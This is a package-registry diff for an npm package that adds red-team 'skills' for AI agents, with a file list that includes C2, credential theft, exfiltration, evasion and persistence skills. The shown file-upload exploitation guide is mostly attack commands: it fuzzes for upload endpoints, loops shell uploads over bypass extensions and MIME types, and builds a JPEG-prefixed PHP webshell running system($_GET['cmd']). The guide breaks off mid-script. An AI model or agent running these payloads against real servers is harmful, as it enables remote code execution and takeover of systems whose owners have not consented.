rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1576 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-file-upload
|
|
3
|
+
description: "File upload exploitation skill. Covers MIME type bypass, double extension tricks, null byte injection, PHP webshell upload, image EXIF injection, ZIP slip attack, and file upload to RCE chains. Works with PHP, ASP.NET, Java, Node.js backends. Includes detection of upload endpoints and validation bypass techniques."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-file-upload — File Upload Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview
|
|
9
|
+
|
|
10
|
+
File upload vulnerabilities are among the most impactful web application flaws, frequently leading to Remote Code Execution (RCE), server takeover, and lateral movement. They occur when an application accepts user-supplied files without adequately validating type, content, name, or destination path.
|
|
11
|
+
|
|
12
|
+
This skill covers the full exploitation chain from discovery to webshell execution, including every major bypass category. It targets PHP, ASP.NET (ASPX), Java (JSP), and Node.js backends and accounts for WAF, content inspection, and storage architecture variations (local disk, CDN, object storage).
|
|
13
|
+
|
|
14
|
+
### Attack Surface Summary
|
|
15
|
+
|
|
16
|
+
| Vector | Impact | Difficulty |
|
|
17
|
+
|---|---|---|
|
|
18
|
+
| Extension bypass (blacklist) | RCE | Low |
|
|
19
|
+
| MIME type bypass | RCE | Low |
|
|
20
|
+
| Double/triple extension | RCE | Low |
|
|
21
|
+
| Null byte injection | RCE | Medium |
|
|
22
|
+
| PHP webshell in image EXIF | RCE | Medium |
|
|
23
|
+
| ZIP slip (path traversal in archive) | Arbitrary write | Medium |
|
|
24
|
+
| ImageMagick / FFmpeg SSRF/RCE | RCE / SSRF | High |
|
|
25
|
+
| Polyglot file (valid image + valid PHP) | WAF bypass + RCE | High |
|
|
26
|
+
| Upload to web-accessible path chain | RCE | Varies |
|
|
27
|
+
| XXE via SVG/XML upload | SSRF / data exfil | Medium |
|
|
28
|
+
|
|
29
|
+
### RTExit Autodoc Tags
|
|
30
|
+
|
|
31
|
+
All findings generated by this skill are tagged for the autodoc engine:
|
|
32
|
+
|
|
33
|
+
```
|
|
34
|
+
#finding:file-upload-bypass
|
|
35
|
+
#finding:rce-via-upload
|
|
36
|
+
#finding:zip-slip
|
|
37
|
+
#finding:xxe-svg
|
|
38
|
+
#finding:imagemagick-rce
|
|
39
|
+
#severity:critical
|
|
40
|
+
#severity:high
|
|
41
|
+
#cwe:434
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## 2. Skill Levels
|
|
47
|
+
|
|
48
|
+
### BEGINNER
|
|
49
|
+
|
|
50
|
+
**Goal:** Identify upload endpoints, test basic extension and MIME bypass, confirm execution.
|
|
51
|
+
|
|
52
|
+
Required tools: `curl`, `burpsuite` (community), `file`, `python3`
|
|
53
|
+
|
|
54
|
+
Skills assumed: Basic HTTP knowledge, ability to intercept requests.
|
|
55
|
+
|
|
56
|
+
### INTERMEDIATE
|
|
57
|
+
|
|
58
|
+
**Goal:** Bypass content inspection, upload polyglot files, exploit ZIP slip.
|
|
59
|
+
|
|
60
|
+
Required tools: `exiftool`, `python3`, `ffuf`, `burpsuite pro`
|
|
61
|
+
|
|
62
|
+
Skills assumed: Regular expressions, basic scripting, understanding of HTTP multipart.
|
|
63
|
+
|
|
64
|
+
### ADVANCED
|
|
65
|
+
|
|
66
|
+
**Goal:** Chain upload to RCE through unconventional paths, exploit ImageMagick, bypass WAF.
|
|
67
|
+
|
|
68
|
+
Required tools: `metasploit`, `imagemagick`, `python3`, `nuclei`, custom scripts
|
|
69
|
+
|
|
70
|
+
Skills assumed: Server-side languages, binary manipulation, WAF fingerprinting.
|
|
71
|
+
|
|
72
|
+
### EXPERT
|
|
73
|
+
|
|
74
|
+
**Goal:** Full exploitation in hardened environments — CSP-restricted storage, object storage misconfigurations, race conditions, deserialization via upload.
|
|
75
|
+
|
|
76
|
+
Required tools: Custom exploit code, `frida`, `burpsuite pro`, cloud CLI tools
|
|
77
|
+
|
|
78
|
+
Skills assumed: Source code review, binary exploitation, cloud IAM knowledge.
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## 3. Step-by-Step Attack Workflow
|
|
83
|
+
|
|
84
|
+
### Phase 1 — Discovery
|
|
85
|
+
|
|
86
|
+
**Step 1: Enumerate upload endpoints**
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Passive discovery from spider/crawl output
|
|
90
|
+
grep -Ei "(upload|attach|import|document|avatar|profile|photo|file|media|asset)" urls.txt \
|
|
91
|
+
| grep -Ei "\.(php|aspx|jsp|do|action|api)" \
|
|
92
|
+
| sort -u
|
|
93
|
+
|
|
94
|
+
# Active fuzzing with ffuf — common upload paths
|
|
95
|
+
ffuf -u https://TARGET/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
|
|
96
|
+
-mc 200,301,302,403 \
|
|
97
|
+
-e .php,.aspx,.jsp \
|
|
98
|
+
-t 50 \
|
|
99
|
+
-o upload-endpoints.json
|
|
100
|
+
|
|
101
|
+
# Nuclei upload endpoint detection
|
|
102
|
+
nuclei -u https://TARGET -t exposures/files/ -t vulnerabilities/generic/file-upload* -o nuclei-upload.txt
|
|
103
|
+
|
|
104
|
+
# JavaScript source mining for upload endpoints
|
|
105
|
+
curl -s https://TARGET | grep -oE '"[^"]*upload[^"]*"' | tr -d '"'
|
|
106
|
+
|
|
107
|
+
# Look for multipart form uploads in Burp history (grep target)
|
|
108
|
+
grep -i "content-type: multipart/form-data" burp_export.txt
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
**Step 2: Map the upload workflow**
|
|
112
|
+
|
|
113
|
+
```bash
|
|
114
|
+
# Identify the full request cycle
|
|
115
|
+
# 1. What parameter holds the file?
|
|
116
|
+
# 2. Where does the file land (response body, Location header)?
|
|
117
|
+
# 3. Is the URL predictable?
|
|
118
|
+
# 4. Does the app rename the file?
|
|
119
|
+
# 5. Does the app validate on upload, on access, or both?
|
|
120
|
+
|
|
121
|
+
# Capture and annotate with curl verbose
|
|
122
|
+
curl -v -X POST https://TARGET/upload \
|
|
123
|
+
-F "file=@test.txt" \
|
|
124
|
+
-b "session=YOUR_SESSION" 2>&1 | tee upload-baseline.txt
|
|
125
|
+
|
|
126
|
+
# Extract upload destination from response
|
|
127
|
+
grep -Ei "(url|path|location|href|src)" upload-baseline.txt
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Step 3: Baseline — what does the app accept?**
|
|
131
|
+
|
|
132
|
+
```bash
|
|
133
|
+
# Test a benign file first to understand flow
|
|
134
|
+
curl -s -X POST https://TARGET/upload \
|
|
135
|
+
-F "file=@image.jpg;type=image/jpeg" \
|
|
136
|
+
-b "session=YOUR_SESSION" | tee baseline-jpg.json
|
|
137
|
+
|
|
138
|
+
# Record: filename in response? directory? renamed? UUID?
|
|
139
|
+
python3 -c "
|
|
140
|
+
import json, sys
|
|
141
|
+
data = json.load(open('baseline-jpg.json'))
|
|
142
|
+
print(json.dumps(data, indent=2))
|
|
143
|
+
"
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
### Phase 2 — Extension Bypass
|
|
149
|
+
|
|
150
|
+
**Step 4: Test extension blacklist bypass**
|
|
151
|
+
|
|
152
|
+
Use the full bypass extension list against the target. Save the list locally:
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
cat > /tmp/php-extensions.txt << 'EOF'
|
|
156
|
+
.php
|
|
157
|
+
.php2
|
|
158
|
+
.php3
|
|
159
|
+
.php4
|
|
160
|
+
.php5
|
|
161
|
+
.php6
|
|
162
|
+
.php7
|
|
163
|
+
.php8
|
|
164
|
+
.phtml
|
|
165
|
+
.pht
|
|
166
|
+
.phar
|
|
167
|
+
.phps
|
|
168
|
+
.php.jpg
|
|
169
|
+
.php%00.jpg
|
|
170
|
+
.php\x00.jpg
|
|
171
|
+
.php%20
|
|
172
|
+
.php....
|
|
173
|
+
.PHP
|
|
174
|
+
.PhP
|
|
175
|
+
.pHp
|
|
176
|
+
.Php
|
|
177
|
+
.PHp
|
|
178
|
+
.pHP
|
|
179
|
+
.phP
|
|
180
|
+
.shtml
|
|
181
|
+
.shtm
|
|
182
|
+
.cgi
|
|
183
|
+
EOF
|
|
184
|
+
|
|
185
|
+
# Test each extension
|
|
186
|
+
while IFS= read -r ext; do
|
|
187
|
+
filename="shell${ext}"
|
|
188
|
+
resp=$(curl -s -X POST https://TARGET/upload \
|
|
189
|
+
-F "file=@/tmp/test.php;filename=${filename}" \
|
|
190
|
+
-b "session=YOUR_SESSION")
|
|
191
|
+
echo "[${ext}] ${resp}" | head -c 200
|
|
192
|
+
done < /tmp/php-extensions.txt
|
|
193
|
+
```
|
|
194
|
+
|
|
195
|
+
**Full extension bypass list by backend:**
|
|
196
|
+
|
|
197
|
+
```
|
|
198
|
+
# PHP
|
|
199
|
+
.php .php2 .php3 .php4 .php5 .php6 .php7 .phtml .pht .phar .phps
|
|
200
|
+
.PHP .PhP .pHp .Php .PHp .pHP .phP .PHTML .PHAR
|
|
201
|
+
.php.jpg .php.png .php.gif .php.bmp
|
|
202
|
+
.php%00.jpg .php\x00.jpg .php%2500.jpg
|
|
203
|
+
.php.... (Windows trailing dots stripped)
|
|
204
|
+
.php (trailing space — Windows)
|
|
205
|
+
.php%20
|
|
206
|
+
|
|
207
|
+
# ASP/ASPX
|
|
208
|
+
.asp .aspx .asa .asax .ascx .ashx .asmx .axd .config .cdx .cer .idc .shtm .shtml .stm .asp;.jpg
|
|
209
|
+
|
|
210
|
+
# JSP / Java
|
|
211
|
+
.jsp .jspx .jsw .jsv .jspf .jtml .wss .do .action
|
|
212
|
+
|
|
213
|
+
# ColdFusion
|
|
214
|
+
.cfm .cfml .cfc .dbm
|
|
215
|
+
|
|
216
|
+
# Perl
|
|
217
|
+
.pl .pm .cgi
|
|
218
|
+
|
|
219
|
+
# Python
|
|
220
|
+
.py .pyc
|
|
221
|
+
|
|
222
|
+
# Node.js (rare server-side execution)
|
|
223
|
+
.js .mjs
|
|
224
|
+
|
|
225
|
+
# General server-side includes
|
|
226
|
+
.shtml .shtm .stm
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
**Step 5: Windows-specific bypass tricks**
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Trailing dot — Windows strips trailing dots from filenames
|
|
233
|
+
curl -s -X POST https://TARGET/upload \
|
|
234
|
+
-F $'file=@shell.php;filename=shell.php.' \
|
|
235
|
+
-b "session=YOUR_SESSION"
|
|
236
|
+
|
|
237
|
+
# Trailing space — Windows strips trailing spaces
|
|
238
|
+
curl -s -X POST https://TARGET/upload \
|
|
239
|
+
-F $'file=@shell.php;filename=shell.php ' \
|
|
240
|
+
-b "session=YOUR_SESSION"
|
|
241
|
+
|
|
242
|
+
# Alternate Data Streams (rare, IIS)
|
|
243
|
+
curl -s -X POST https://TARGET/upload \
|
|
244
|
+
-F "file=@shell.php;filename=shell.php::$DATA" \
|
|
245
|
+
-b "session=YOUR_SESSION"
|
|
246
|
+
|
|
247
|
+
# Multiple dots
|
|
248
|
+
curl -s -X POST https://TARGET/upload \
|
|
249
|
+
-F "file=@shell.php;filename=shell.php..." \
|
|
250
|
+
-b "session=YOUR_SESSION"
|
|
251
|
+
```
|
|
252
|
+
|
|
253
|
+
---
|
|
254
|
+
|
|
255
|
+
### Phase 3 — MIME Type Bypass
|
|
256
|
+
|
|
257
|
+
**Step 6: Content-Type header manipulation**
|
|
258
|
+
|
|
259
|
+
```bash
|
|
260
|
+
# The app checks Content-Type header, not file content
|
|
261
|
+
# Send PHP file with image MIME type
|
|
262
|
+
curl -s -X POST https://TARGET/upload \
|
|
263
|
+
-F "file=@shell.php;type=image/jpeg" \
|
|
264
|
+
-b "session=YOUR_SESSION"
|
|
265
|
+
|
|
266
|
+
# Full MIME type bypass list to test
|
|
267
|
+
for mime in "image/jpeg" "image/png" "image/gif" "image/bmp" "image/webp" \
|
|
268
|
+
"image/svg+xml" "application/octet-stream" "text/plain" \
|
|
269
|
+
"application/pdf" "video/mp4"; do
|
|
270
|
+
echo "[*] Testing MIME: $mime"
|
|
271
|
+
curl -s -X POST https://TARGET/upload \
|
|
272
|
+
-F "file=@shell.php;type=${mime}" \
|
|
273
|
+
-b "session=YOUR_SESSION" | head -c 200
|
|
274
|
+
done
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
**Step 7: Magic bytes / file signature bypass**
|
|
278
|
+
|
|
279
|
+
```bash
|
|
280
|
+
# Prepend JPEG magic bytes to PHP payload
|
|
281
|
+
python3 << 'EOF'
|
|
282
|
+
jpeg_magic = b'\xff\xd8\xff\xe0'
|
|
283
|
+
php_payload = b'<?php system($_GET["cmd"]); ?>'
|
|
284
|
+
combined = jpeg_magic + b'\n' + php_payload
|
|
285
|
+
